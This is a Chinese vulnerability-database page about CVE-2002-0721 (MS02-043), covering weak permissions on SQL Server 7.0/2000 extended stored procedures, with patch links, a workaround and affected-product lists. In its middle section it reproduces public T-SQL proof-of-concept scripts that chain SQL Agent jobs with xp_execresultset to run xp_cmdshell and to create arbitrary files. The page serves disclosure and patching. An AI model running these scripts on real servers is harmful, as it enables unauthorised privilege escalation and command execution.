CVE-2002-0721
CVSS10.0
发布时间 :2002-09-05 00:00:00
修订时间 :2016-10-17 22:21:49
NMCOES    

[原文]Microsoft SQL Server 7.0 and 2000 installs with weak permissions for extended stored procedures that are associated with helper functions, which could allow unprivileged users, and possibly remote attackers, to run stored procedures with administrator privileges via (1) xp_execresultset, (2) xp_printstatements, or (3) xp_displayparamstmt.


[CNNVD]Microsoft SQL Server扩展存储过程权限提升漏洞(MS02-043)(CNNVD-200209-016)

        
        Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0 和 SQL Server 2000提供了对扩展存储过程的支持,扩展存储过程是一些由C或C#等编程语言编写的外部程序。SQL Server可以象调用正常的存储过程那样使用这些扩展存储过程。SQL Server 7.0 和 SQL Server 2000缺省带了一些外部存储过程。
        SQL Server 7.0 和 SQL Server 2000缺省带的几个外部存储过程缺少必要的权限限制,可能导致低权限用户执行它们进而完全控制数据库系统。
        SQL Server缺省带了下列外部存储过程:
        xp_execresultset
        xp_printstatements
        xp_displayparamstmt
        缺省它们允许任意用户访问,因此本地的低权限用户可以直接向它们发送SQL请求。由于这些存储过程执行时会重新连回SQL数据库,并且会以SQL Server运行帐号的身份执行SQL查询请求。这就带来了一个权限提升问题,未授权用户可以获得SQL Server运行帐号权限,这可能允许攻击者插入、删除、修改数据库数据,甚至完全控制操作系统。
        有本地用户权限的攻击者可以直接进行攻击,攻击者也可能利用Web前端的SQL注入漏洞来进行攻击。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:sql_server:2000Microsoft SQL Server 2000
cpe:/a:microsoft:data_engine:1.0Microsoft data_engine 1.0
cpe:/a:microsoft:sql_server:7.0Microsoft SQLServer 7.0
cpe:/a:microsoft:sql_server:7.0:sp3Microsoft SQL Server 7.0 Service Pack 3
cpe:/a:microsoft:data_engine:2000Microsoft data_engine 2000
cpe:/a:microsoft:sql_server:7.0:sp4Microsoft SQL Server 7.0 Service Pack 4
cpe:/a:microsoft:sql_server:7.0:sp1Microsoft SQL Server 7.0 Service Pack 1
cpe:/a:microsoft:sql_server:2000:sp2Microsoft SQLServer 2000 Service Pack 2
cpe:/a:microsoft:sql_server:7.0:sp2Microsoft SQL Server 7.0 Service Pack 2
cpe:/a:microsoft:sql_server:2000:sp1Microsoft SQLServer 2000 Service Pack 1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0721
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0721
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200209-016
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/ntbugtraq/2002-q3/0087.html
(UNKNOWN)  NTBUGTRAQ  20020815 Alert: Microsoft Security Bulletin - MS02-043
http://marc.info/?l=bugtraq&m=102950473002959&w=2
(UNKNOWN)  BUGTRAQ  20020816 Microsoft SQL Server Extended Stored Procdure privilege upgrade vulnerabilities (#NISR15002002A)
http://marc.info/?l=ntbugtraq&m=102950792606475&w=2
(UNKNOWN)  NTBUGTRAQ  20020816 Microsoft SQL Server Extended Stored Procdure privilege upgrade vulnerabilities (#NISR15002002A)
http://www.kb.cert.org/vuls/id/399531
(UNKNOWN)  CERT-VN  VU#399531
http://www.kb.cert.org/vuls/id/818939
(UNKNOWN)  CERT-VN  VU#818939
http://www.kb.cert.org/vuls/id/939675
(UNKNOWN)  CERT-VN  VU#939675
http://www.microsoft.com/technet/security/bulletin/MS02-043.asp
(VENDOR_ADVISORY)  MS  MS02-043
http://www.ngssoftware.com/advisories/mssql-esppu.txt
(UNKNOWN)  MISC  http://www.ngssoftware.com/advisories/mssql-esppu.txt

- 漏洞信息

Microsoft SQL Server扩展存储过程权限提升漏洞(MS02-043)
危急 设计错误
2002-09-05 00:00:00 2006-09-01 00:00:00
远程  
        
        Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0 和 SQL Server 2000提供了对扩展存储过程的支持,扩展存储过程是一些由C或C#等编程语言编写的外部程序。SQL Server可以象调用正常的存储过程那样使用这些扩展存储过程。SQL Server 7.0 和 SQL Server 2000缺省带了一些外部存储过程。
        SQL Server 7.0 和 SQL Server 2000缺省带的几个外部存储过程缺少必要的权限限制,可能导致低权限用户执行它们进而完全控制数据库系统。
        SQL Server缺省带了下列外部存储过程:
        xp_execresultset
        xp_printstatements
        xp_displayparamstmt
        缺省它们允许任意用户访问,因此本地的低权限用户可以直接向它们发送SQL请求。由于这些存储过程执行时会重新连回SQL数据库,并且会以SQL Server运行帐号的身份执行SQL查询请求。这就带来了一个权限提升问题,未授权用户可以获得SQL Server运行帐号权限,这可能允许攻击者插入、删除、修改数据库数据,甚至完全控制操作系统。
        有本地用户权限的攻击者可以直接进行攻击,攻击者也可能利用Web前端的SQL注入漏洞来进行攻击。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 数据库管理员应该限制下列三个外部存储过程的访问权限,只允许数据库管理员访问:
        xp_execresultset
        xp_printstatements
        xp_displayparamstmt
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS02-043)以及相应补丁:
        MS02-043:Cumulative Patch for SQL Server (Q316333)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS02-043.asp

        补丁下载:
         * Microsoft SQL Server 7.0
        
        http://www.microsoft.com/Release.asp?ReleaseID=Q327068

         * Microsoft SQL Server 2000
        
        http://www.microsoft.com/Release.asp?ReleaseID=Q316333

- 漏洞信息 (21718)

Microsoft SQL 2000/7.0 Agent Jobs Privilege Elevation Vulnerability (EDBID:21718)
windows remote
2002-08-15 Verified
0 David Litchfield
N/A [点击下载]
source: http://www.securityfocus.com/bid/5483/info

Microsoft SQL Server 2000 uses an Agent which is responsible for restarting the SQL Server service, replication, and running scheduled jobs.

Some of the jobs that the Agent executes have weak permissions, which could allow a user with low permissions to perform actions on the database in the context of the SQL Server Service Account when used in conjunction with the Microsoft SQL Server Extended Stored Procedure Privilege Elevation Vulnerability

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

The following proof of concept code supplied by David Litchfield <david@ngssoftware.com> will create a file called c:\sqlafc123.txt:

-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'		

- 漏洞信息

10136
Microsoft SQL Server xp_execresultset Procedure Privilege Escalation
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2002-08-15 Unknow
2002-08-15 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft SQL Server Extended Stored Procedure Privilege Elevation Vulnerability
Design Error 5481
Yes No
2002-08-15 12:00:00 2009-07-11 03:56:00
Credit is given to David Litchfield of Next Generation Security Software Ltd., Chip Andrews of www.sqlsecurity.com and Timothy Mullen.

- 受影响的程序版本

Microsoft SQL Server 2000 SP2
Microsoft SQL Server 2000 SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
Microsoft SQL Server 2000
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0
Microsoft SQL Server 7.0 SP4
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP3
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP2
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP1
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0
- Microsoft BackOffice 4.5
- Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0
Microsoft Data Engine 2000
+ Akiva WebBoard 6.1
+ BindView bv-Admin for Microsoft Exchange
+ BindView bv-Admin for Windows 7.0
+ BindView bv-Admin for Windows Migration
+ BindView bv-control for Active Directory 7.0.2
+ BindView bv-Control for Internet Security 7.0.1
+ BindView bv-Control for Microsoft Exchange 7.0
+ BindView bv-Control for Microsoft SQL Server 7.0.1
+ BindView bv-Control for Microsoft SQL Server 7.0
+ BindView bv-Control for Windows 7.0.2
+ CARI-RUSCO Secure Perfect 3.0
+ CCH Equity Compliance Insider Reporting Module
+ Collins Medical Plus 2000
+ Computer Associates Unicenter
+ Computer Associates Unicenter RC/Update 6.1
+ Computer Associates Unicenter RC/Update 6.0
+ CSIRO BioLink Software 1.5
+ DATA.TXT Corporation Time Matters 4.0
+ DATA.TXT Corporation Time Matters 3.0
+ Dell OpenManage IT Assistant 6.0
+ Dell OpenManage IT Assistant 5.0
+ Express Metrix Express Software Manager 6.0.2
+ Express Metrix Express Software Manager 6.0.1
+ Express Metrix Express Software Manager 6.0
+ Express Metrix Express Software Manager 5.0
+ Fluke Networks Optiview Network Inspector 5.0
+ HP Openview Internet Services 4.5
+ HP Openview Internet Services 4.0
+ HP Openview Operations for Windows 7.1
+ HP Openview Operations for Windows 7.0
+ HP Openview Operations for Windows 6.0
+ HP Openview Reporter 3.0
+ HP Openview Reporter 2.0.2
+ ISI Infortel for Windows 5.4
+ ISI Infortel for Windows 5.2
+ ISI Infortel for Windows 5.1
+ ISI Infortel for Windows 4.0
+ Journyx Timesheet 5.0
+ Journyx Timesheet 4.6
+ Journyx Timesheet 4.5 m3
+ Journyx Timesheet 4.5 m2
+ Journyx Timesheet 4.5
+ Journyx Timesheet 2.0
+ Microsoft .NET Framework 1.1
+ Microsoft .NET Framework 1.0 SP1
+ Microsoft .NET Framework 1.0
+ Microsoft .NET Framework SDK 1.0
+ Microsoft Application Center 2000
+ Microsoft Biztalk Server 2002 Partner Edition 0
+ Microsoft FrontPage 2000 Server Extensions SR 1.3
+ Microsoft FrontPage 2000 Server Extensions SR 1.2
+ Microsoft FrontPage 2000 Server Extensions SR 1.1
+ Microsoft FrontPage 2000 Server Extensions SR 1.0
+ Microsoft Great Plains 5.5.1
+ Microsoft Great Plains 7.0
+ Microsoft Great Plains 5.5
+ Microsoft Great Plains 5.0
+ Microsoft Office 2000 SP2
+ Microsoft Office 2000 SP1
+ Microsoft Office 2000
+ Microsoft Office 2000 Chinese Version
+ Microsoft Office 2000 Japanese Version
+ Microsoft Office 2000 Korean Version
+ Microsoft Office XP SP1
+ Microsoft Office XP
+ Microsoft Office XP Developer Edition
+ Microsoft Project Central Server
+ Microsoft SharePoint Portal Server 2001 SP1
+ Microsoft SharePoint Portal Server 2001
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft SQL Server 2000 SP3
+ Microsoft SQL Server 2000 SP2
+ Microsoft SQL Server 2000 SP1
+ Microsoft SQL Server 2000
+ Microsoft Visio 2000 Enterprise Edition
+ Microsoft Visio Enterprise Network Tools
+ Microsoft Visual FoxPro 7.0 SP1
+ Microsoft Visual FoxPro 7.0
+ Microsoft Visual FoxPro 6.0
+ Microsoft Visual Studio .NET Academic Edition 0
+ Microsoft Visual Studio .NET Enterprise Architect Edition
+ Microsoft Visual Studio .NET Enterprise Developer Edition
+ Microsoft Visual Studio .NET Professional Edition
+ Microsoft Visual Studio .NET Trial Edition 0
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows XP Embedded SP1
+ Microsoft Windows XP Embedded
+ MIP NonProfit Series Pro 4.5
+ MIP NonProfit Series Pro 4.4
+ MIP NonProfit Series Pro 4.3
+ NetSupport NetSupport TCO 4.5.1
+ NetSupport NetSupport TCO 4.5
+ Network Associates SupportMagic SQL 4.5
+ Okena StormWatch
+ Peachtree Software Timeslips 11.0
+ Peachtree Software Timeslips 10.0
+ Peachtree Software Timeslips 9.0
+ Peachtree Software Timeslips 9.0
+ Peachtree Software Timeslips 8.0
+ Peachtree Software Timeslips 7.0
+ Peachtree Software Timeslips 6.0
+ QiNetix CommVault Galaxy 4.0.1
+ SalesLogix Corporation SalesLogix 2000.0
+ SmartMax Software MailMax 5.0
+ TeleStream FlipFactory 3.0
+ TeleStream FlipFactory 2.0
+ TeleStream FlipFactory 1.2
+ Veritas Software Backup Exec for Windows Servers 9.0
+ VIGILANTe SecureScan NX 2.5
+ Visionary Systems Firehouse Software 5.4
+ Visionary Systems Firehouse Software 5.0.2 5
+ Visionary Systems Firehouse Software 5.0
+ Visionary Systems Firehouse Software 3.0.5
+ Wonderware InTouch 7.11
+ Xerox CentreWare Web 1.0
Microsoft Data Engine (MSDE) 1.0
+ Affymetrix Microarray Suite Software 5.0.1
+ Affymetrix Microarray Suite Software 5.0.1
+ Affymetrix Microarray Suite Software 5.0.1
+ Affymetrix Microarray Suite Software 5.0
+ Affymetrix Microarray Suite Software 5.0
+ Affymetrix Microarray Suite Software 5.0
+ Altiris Deployment Server 5.5
+ Altiris Deployment Server 5.5
+ Altiris Deployment Server 5.5
+ Altiris Deployment Server 5.0.1
+ Altiris Deployment Server 5.0.1
+ Altiris Deployment Server 5.0.1
+ Centennial UK Ltd Centennial Discovery 4.4
+ Centennial UK Ltd Centennial Discovery 4.4
+ Centennial UK Ltd Centennial Discovery 4.4
+ Compaq Insight Manager 7.0 SP1
+ Compaq Insight Manager 7.0 SP1
+ Compaq Insight Manager 7.0 SP1
+ Compaq Insight Manager 7.0
+ Compaq Insight Manager 7.0
+ Compaq Insight Manager 7.0
+ Gerber Technology WebPDM 3.9
+ Gerber Technology WebPDM 3.9
+ Gerber Technology WebPDM 3.9
+ McAfee ePolicy Orchestrator 2.5 SP1
+ McAfee ePolicy Orchestrator 2.5 SP1
+ McAfee ePolicy Orchestrator 2.5 SP1
+ McAfee ePolicy Orchestrator 2.5
+ McAfee ePolicy Orchestrator 2.5
+ McAfee ePolicy Orchestrator 2.5
+ McAfee ePolicy Orchestrator 2.0
+ McAfee ePolicy Orchestrator 2.0
+ McAfee ePolicy Orchestrator 2.0
+ McAfee ePolicy Orchestrator 1.1
+ McAfee ePolicy Orchestrator 1.1
+ McAfee ePolicy Orchestrator 1.1
+ McAfee ePolicy Orchestrator 1.0
+ McAfee ePolicy Orchestrator 1.0
+ McAfee ePolicy Orchestrator 1.0
- Microsoft Access 2000
- Microsoft Access 2000
- Microsoft Access 2000
- Microsoft Project Central Server
- Microsoft Project Central Server
- Microsoft Project Central Server
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft SharePoint Team Services from Microsoft
- Microsoft Visual Studio 6.0
- Microsoft Visual Studio 6.0
- Microsoft Visual Studio 6.0
+ PowerQuest ControlCenter ST 2.0
+ PowerQuest ControlCenter ST 2.0
+ PowerQuest ControlCenter ST 2.0
+ PPM 2000 Incident Reporting and Investigation Management 5.1
+ PPM 2000 Incident Reporting and Investigation Management 5.1
+ PPM 2000 Incident Reporting and Investigation Management 5.1
+ Research In Motion Blackberry Enterprise Server 2.0 .0.65
+ Research In Motion Blackberry Enterprise Server 2.0 .0.65
+ Research In Motion Blackberry Enterprise Server 2.0 .0.65
+ Trend Micro Control Manager 2.5
+ Trend Micro Control Manager 2.5
+ Trend Micro Control Manager 2.5
+ Trend Micro Damage Cleanup Server 1.0
+ Trend Micro Damage Cleanup Server 1.0
+ Trend Micro Damage Cleanup Server 1.0
+ Vital Processing Services LLC POS-partner 2000 5.0.13
+ Vital Processing Services LLC POS-partner 2000 5.0.13
+ Vital Processing Services LLC POS-partner 2000 5.0.13
+ Vital Processing Services LLC POS-partner 2000 4.1.11
+ Vital Processing Services LLC POS-partner 2000 4.1.11
+ Vital Processing Services LLC POS-partner 2000 4.1.11
+ Websense Reporter 6.3.1
+ Websense Reporter 6.3.1
+ Websense Reporter 6.3.1

- 漏洞讨论

Microsoft SQL Server 2000 uses various extended stored procedures to allow database designers to create their own external routines.

Some of these extended stored procedures have weak permissions, which could allow a user with low permissions to perform actions on the database in the context of the SQL Server Service Account.

- 漏洞利用

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com &lt;mailto:vuldb@securityfocus.com&gt;.

- 解决方案

Microsoft has revised their advisory. Microsoft recommends that users of SQL 2000 and MSDE 2000 apply the patch from MS02-061 which contains additional security fixes:


Microsoft SQL Server 2000

Microsoft SQL Server 7.0 SP1

Microsoft SQL Server 7.0 SP3

Microsoft SQL Server 7.0 SP4

Microsoft SQL Server 2000 SP1

Microsoft SQL Server 7.0 SP2

Microsoft SQL Server 2000 SP2

Microsoft SQL Server 7.0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站